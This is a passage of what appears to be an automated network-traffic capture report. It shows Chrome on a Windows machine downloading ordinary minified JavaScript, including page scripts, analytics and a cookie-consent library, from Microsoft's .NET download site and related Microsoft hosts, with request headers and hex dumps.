65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 4c Data Ascii: mentById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEventL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49779	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:35 UTC	686	OUT	GET /static/js/main.min.js?v=JTXjSTLeQEf2HpRn_VGoah8uOwqnbFRmJTgpqsIm-Gg HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/runtime-desktop-6.0.36-windows-x64-installer?cid=getdotnetcore Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:36 UTC	756	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript Content-Length: 28968 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d59f528" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=22.13266733804675; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201135Z-174c587ffdfldtt2hC1TEBwv9c000000035g00000000mah6 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	15628	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 76 61 72 20 74 3d 7b 38 37 39 31 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 72 65 74 75 72 6e 20 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 Data Ascii: /! For license information please see main.min.js.LICENSE.txt /(()=>{var t={8791:(t,e,n)=>{function i(t){return i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&
2024-11-23 20:11:36 UTC	756	IN	Data Raw: 74 79 3d 22 22 7d 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 6e 3d 65 2e 64 75 72 61 74 69 6f 6e 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 31 65 33 3a 6e 2c 6f 3d 65 2e 64 65 6c 61 79 2c 72 3d 69 2f 28 76 6f 69 64 20 30 3d 3d 3d 6f 3f 31 36 3a 6f 29 2c 73 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 2f 28 3c 5b 5e 3e 5d 2b 3e 7c 5b 30 2d 39 2e 5d 5b 2c 2e 30 2d 39 5d 2a 5b 30 2d 39 5d 2a 29 2f 29 2c 6c 3d 5b 5d 2c 63 3d 30 3b 63 3c 72 3b 63 2b 2b 29 6c 2e 70 75 73 68 28 22 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ty=""},d=function(t){for(var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=e.duration,i=void 0===n?1e3:n,o=e.delay,r=i/(void 0===o?16:o),s=t.toString().split(/(<[^>]+>\|[0-9.][,.0-9][0-9])/),l=[],c=0;c<r;c++)l.push("");for(var d=function(
2024-11-23 20:11:36 UTC	12584	IN	Data Raw: 63 74 69 6f 6e 20 75 28 74 29 7b 72 65 74 75 72 6e 20 75 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 74 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 74 7d 2c 75 28 74 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d Data Ascii: ction u(t){return u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},u(t)}!function(){$('[data-toggle=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49781	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:35 UTC	419	OUT	GET /static/js/theme-toggle.min.js?v=Hzeaewz3K2TLDzdc6ushOOcPalFLIXEQvl0TE_N65-U HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:36 UTC	757	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript Content-Length: 3187 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d598873" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=0.13087369799302806; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201135Z-178bfbc474btrnf9hC1NYCb80g000000051000000000fz1n X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	3187	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 74 68 65 6d 65 2d 74 6f 67 67 6c 65 2e 6d 69 6e 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 65 5b 6e 5d 3d 72 5b 6e 5d 7d 72 65 74 75 72 6e 20 65 7d 76 61 72 20 74 2c 72 2c 6e 2c 6f 2c 63 2c 61 2c 69 2c 6d 2c 64 2c 73 2c 75 3d 66 75 6e 63 74 69 6f 6e 20 74 28 72 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 6f 2c 63 29 Data Ascii: /! For license information please see theme-toggle.min.js.LICENSE.txt /(()=>{"use strict";function e(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)e[n]=r[n]}return e}var t,r,n,o,c,a,i,m,d,s,u=function t(r,n){function o(t,o,c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49780	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:35 UTC	415	OUT	GET /static/js/download.min.js?v=MBjAS82T2axGINmgsrbDGSLfnkUKGbAI1qVdIMR6lw0 HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:36 UTC	754	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript Content-Length: 1222 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d5980c6" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=90.6714213135371; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201135Z-178bfbc474bmqmgjhC1NYCy16c00000004xg00000000krgs X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	1222	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 6e 61 6c 79 74 69 63 73 26 26 61 6e 61 6c 79 74 69 63 73 2e 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 28 29 3f 61 6e 61 6c 79 74 69 63 73 2e 63 61 70 74 75 72 65 50 61 67 65 41 63 74 69 6f 6e 28 6e 75 6c 6c 2c 74 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 74 29 7d 29 2c 32 65 33 29 7d 3b 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 74 29 2c 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 Data Ascii: (()=>{"use strict";var t,e=function(t){"undefined"!=typeof analytics&&analytics.isInitialized()?analytics.capturePageAction(null,t):setTimeout((function(){return e(t)}),2e3)};t=function(t){for(var e=document.getElementsByClassName(t),n=0;n<e.length;n++){v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49784	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:35 UTC	418	OUT	GET /static/js/cda-tracker.min.js?v=SyYaSyIMxBKYbravFr4rQISs39K6Wu_jyNMP-TEkBgE HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:36 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript Content-Length: 820 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d598734" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=12.714469585772958; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201135Z-178bfbc474bh5zbqhC1NYCkdug00000004z0000000001v5v X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	820	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 65 2c 74 2c 6e 2c 6f 2c 63 2c 73 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 73 28 74 2c 65 2e 64 6f 6d 61 69 6e 73 29 26 26 21 63 28 74 29 7d 29 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 61 3d 22 57 54 2e 6d 63 5f 69 64 3d 22 2b 65 2e 65 76 65 6e 74 2b 22 2d 22 2b 65 2e 63 68 61 6e 6e 65 6c 2b 22 2d 22 2b 65 2e 61 6c 69 61 73 3b 6e 5b 6f 5d 2e 73 65 61 72 63 68 3f 6e 5b 6f 5d 2e 73 65 61 72 63 68 3d 6e 5b 6f 5d 2e 73 65 61 72 63 68 2b 22 26 22 2b 61 3a 6e 5b 6f 5d 2e 73 65 61 72 63 68 3d 22 3f 22 2b 61 7d 7d 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 Data Ascii: (()=>{var e,t,n,o,c,s;o=function(e,t){for(var n=t.filter((function(t){return s(t,e.domains)&&!c(t)})),o=0;o<n.length;o++){var a="WT.mc_id="+e.event+"-"+e.channel+"-"+e.alias;n[o].search?n[o].search=n[o].search+"&"+a:n[o].search="?"+a}},c=function(e){retur

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49782	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:35 UTC	413	OUT	GET /static/js/footer.min.js?v=RVslb4HZMiuSbGsDzcAsIhvWLZgw2HmQR-fsPOHkfMQ HTTP/1.1 Host: dotnet.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:36 UTC	755	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: text/javascript Content-Length: 376 Connection: close Cache-Control: public, max-age=31359572 ETag: "1db3d2c6d598578" Last-Modified: Fri, 22 Nov 2024 22:18:16 GMT Set-Cookie: TiPMix=45.372159297141735; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Set-Cookie: x-ms-routing-name=self; path=/; HttpOnly; Domain=dotnetwebsite.azurewebsites.net; Max-Age=3600; Secure; SameSite=None Request-Context: appId=cid-v1:109cec76-ff6c-4be0-97b5-4f02dbac2451 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff x-azure-ref: 20241123T201135Z-15b8b599d885ffrhhC1TEBtuv000000003cg00000000m0tw X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	376	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 6e 3d 22 41 72 72 6f 77 4c 65 66 74 22 2c 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 73 6f 63 69 61 6c 22 29 5b 30 5d 2c 72 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 61 22 29 29 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 66 5b 6f 5d 3b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 72 2e 6c 65 6e 67 74 68 2d 31 3b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6b 65 79 64 6f 77 6e 22 2c 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 76 61 72 20 66 3d 6f 2e Data Ascii: !function(){for(var e,n="ArrowLeft",t=document.getElementsByClassName("social")[0],r=Array.from(t.getElementsByTagName("a")),a=function(){var t=f[o];t.addEventListener("focus",(function(){var a=r.length-1;t.addEventListener("keydown",(function(o){var f=o.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49788	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:36 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:36 UTC	712	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:36 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 3962 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ae9d672f-401e-00c3-76da-3dd985000000 x-ms-version: 2009-09-19 x-azure-ref: 20241123T201136Z-178bfbc474bmqmgjhC1NYCy16c000000052g000000004z2q Accept-Ranges: bytes
2024-11-23 20:11:36 UTC	15672	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-23 20:11:36 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 Data Ascii: {return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cookie
2024-11-23 20:11:36 UTC	712	IN	Data Raw: 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 Data Ascii: r"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + la
2024-11-23 20:11:37 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button-
2024-11-23 20:11:37 UTC	3565	IN	Data Raw: 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 Data Ascii: -")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChange

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49786	13.107.246.63	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:36 UTC	580	OUT	GET /scripts/b/ai.2.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dotnet.microsoft.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
